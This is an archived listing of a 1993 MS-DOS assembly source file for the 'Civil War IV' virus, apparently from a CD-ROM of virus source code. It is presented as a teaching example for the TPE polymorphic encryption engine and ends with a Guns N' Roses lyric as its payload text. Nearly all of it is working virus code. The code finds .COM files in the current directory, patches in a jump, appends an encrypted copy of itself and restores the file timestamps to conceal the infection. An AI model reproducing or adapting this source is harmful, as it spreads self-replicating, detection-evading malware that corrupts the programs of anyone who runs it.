home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CIVIL_4B.ASM < prev    next >
Assembly Source File  |  1995-05-23  |  7KB  |  197 lines

  1. ;****************************************************************************
  2. ;*   Civil War IV v1.1 (minor bugfix version)                               *
  3. ;*                                                                          *
  4. ;*   Assembled with Tasm 2.5                                                *
  5. ;*                                                                          *
  6. ;*   (c) 08-01-93 Dark Helmet, The Netherlands.                             *
  7. ;*   The author takes no responsibilty for any damages caused by the virus  *
  8. ;*                                                                          *
  9. ;*   This is a example virus with the TPE engine to teach you how to use    *
  10. ;*   the TPE engine.                                                        *
  11. ;*                                                                          *
  12. ;*--------------------------------------------------------------------------*
  13. ;*                                                                          *
  14. ;* Notes:                                                                   *
  15. ;*                                                                          *
  16. ;* This virus is NOT dedicated to Sara Gordon, but to all the innocent      *
  17. ;* people who are killed in Yugoslavia.                                     *
  18. ;*                                                                          *   
  19. ;* The text in the virus is taken from the song Civil War (hence the name)  *
  20. ;* by Guns and Roses, Use Your Illusion II, we hope they don't mind it.     *
  21. ;*                                                                          *
  22. ;* The first name for the virus was NAVIGATOR II, because the virus is      *
  23. ;* based on the NAVIGATOR virus (also written by me, a while back), but     *
  24. ;* since I decided to put the songtext in it I renamed it to Civil War IV   *
  25. ;*                                                                          *
  26. ;* You need the TPE 1.3 engine to link this program.                        *                                                                               *
  27. ;*                                                                          *   
  28. ;****************************************************************************
  29.  
  30.         .model tiny
  31.         .radix 16
  32.         .code
  33.         
  34.         extrn   rnd_init:near
  35.         extrn   rnd_get:near
  36.         extrn   crypt:near
  37.         extrn   tpe_top:near
  38.  
  39.         org 100h
  40.  
  41. len             equ offset tpe_top - begin 
  42.  
  43. Dummy:          db 0e9h, 03h, 00h, 44h, 48h, 00h
  44.  
  45. Begin:          call virus                      ; calculate delta offset
  46.  
  47. Virus:          pop bp
  48.         sub bp,offset virus
  49.         
  50.         mov dx,0fe00h                   ; DTA instellen
  51.         mov ah,1ah
  52.         int 21h
  53.         
  54. Restore_begin:  call rnd_init                   ; init random generator
  55.         mov di,0100h
  56.         lea si,ds:[buffer+bp]
  57.         mov cx,06h
  58.         rep movsb
  59.                 
  60. First:          lea dx,[com_mask+bp]            ;get first COM file 
  61.         mov ah,04eh
  62.         xor cx,cx
  63.         int 21h
  64.  
  65. Open_file:      mov ax,03d02h                   ;open for READ/WRITE
  66.         mov dx,0fe1eh
  67.         int 21h
  68.         mov [handle+bp],ax
  69.         xchg ax,bx
  70.  
  71. Read_date:      mov ax,05700h                   ;store date/time for later
  72.         int 21h                         ;use
  73.         mov [date+bp],dx
  74.         mov [time+bp],cx
  75.  
  76. Check_infect:   mov bx,[handle+bp]              ;check if initials present in   
  77.         mov ah,03fh                     ;file
  78.         mov cx,06h
  79.         lea dx,[buffer+bp]
  80.         int 21h
  81.  
  82.         mov al,byte ptr [buffer+bp]+3   ;Compare initials
  83.         mov ah,byte ptr [buffer+bp]+4 
  84.         cmp ax,[initials+bp]
  85.         jne infect_file                 ;if initials not present
  86.                         ;start infecting file
  87.  
  88. Close_file:     mov bx,[handle+bp]              ;close file
  89.         mov ah,3eh
  90.         int 21h
  91.  
  92. Next_file:      mov ah,4fh                      ;get next COM file
  93.         int 21h                         ;in directorie
  94.         jnb open_file
  95.         jmp exit
  96.  
  97. Infect_file:    mov ax,word ptr [cs:0fe1ah]     ;get lenght of file
  98.         sub ax,03h
  99.         mov [lenght+bp],ax
  100.         mov ax,04200h                   ;goto begin of file
  101.         call move_pointer
  102.         
  103. Write_jump:     mov ah,40h                      ;Write JUMP intruction
  104.         mov cx,01h
  105.         lea dx,[jump+bp]
  106.         int 21h
  107.  
  108.         mov ah,40h                      ;Write JUMP offset
  109.         mov cx,02h
  110.         lea dx,[lenght+bp]
  111.         int 21h
  112.  
  113.         mov ah,40                       ;Write initials to check
  114.         mov cx,02h                      ;for infection later 
  115.         lea dx,[initials+bp]
  116.         int 21h
  117.         
  118.         mov  ax,4202h                   ; move to end of file
  119.         call move_pointer               ; for infection
  120.  
  121. ;*****************************************************************************
  122. ;                               T P E                                        *
  123. ;*****************************************************************************
  124.      
  125. Encrypt:        push bp                         ; BP = delta offset
  126.                         ; push delta offset on stack
  127.                         ; for later use.
  128.  
  129.         mov ax,cs                       ; Calculate worksegment                 
  130.         add ax,01000h
  131.         mov es,ax                       ; ES point to decrypt virus
  132.         
  133.         lea dx,[begin+bp]               ; DS:DX begin encryption
  134.  
  135.         mov cx,len                      ; virus lenght  
  136.                         
  137.         mov bp,[lenght+bp]              ; decryption starts at this 
  138.         add bp,103h                     ; point
  139.  
  140.         xor si,si                       ; distance between decryptor
  141.                         ; and encrypted code is 0 bytes
  142.  
  143.         call rnd_get                    ; AX = random value
  144.         call crypt                      ; encrypt virus
  145.  
  146.         pop bp                          ; BP = delta offset
  147.                         ; get delta offset of stack
  148.  
  149. ;******************************************************************************
  150. ;                               T P E - E N D                                 *
  151. ;******************************************************************************
  152.  
  153. Write_virus:    mov bx,[handle+bp]
  154.         mov ah,40h
  155.         int 21h
  156.  
  157. Restore_date:   mov ax,05701h
  158.         mov bx,[handle+bp]
  159.         mov cx,[time+bp]
  160.         mov dx,[date+bp]
  161.         int 21h
  162.  
  163. Exit:           mov ax,cs
  164.         mov ds,ax
  165.         mov es,ax               
  166.         mov bx,0100h                    ; jump to start program
  167.         jmp bx
  168.  
  169. ;----------------------------------------------------------------------------
  170.  
  171. move_pointer:   mov bx,[handle+bp]
  172.         xor cx,cx
  173.         xor dx,dx
  174.         int 21h
  175.         ret
  176.         
  177. ;----------------------------------------------------------------------------
  178. v_name          db "Civil War IV v1.1, (c) Jan '93 "
  179. com_mask        db "*.com",0
  180. handle          dw ?
  181. date            dw ?
  182. time            dw ?
  183. buffer          db 090h,0cdh,020h,044h,048h,00h
  184. initials        dw 4844h         
  185. lenght          dw ?
  186. jump            db 0e9h,0
  187. message         db "For all i've seen has changed my mind"
  188.         db "But still the wars go on as the years go by"
  189.         db "With no love of God or human rights"
  190.         db "'Cause all these dreams are swept aside"
  191.         db "By bloody hands of the hypnotized"
  192.         db "Who carry the cross of homicide"
  193.         db "And history bears the scars of our Civil Wars." 
  194. writer          db "[ DH / TridenT ]",00
  195.  
  196.         end  dummy
  197.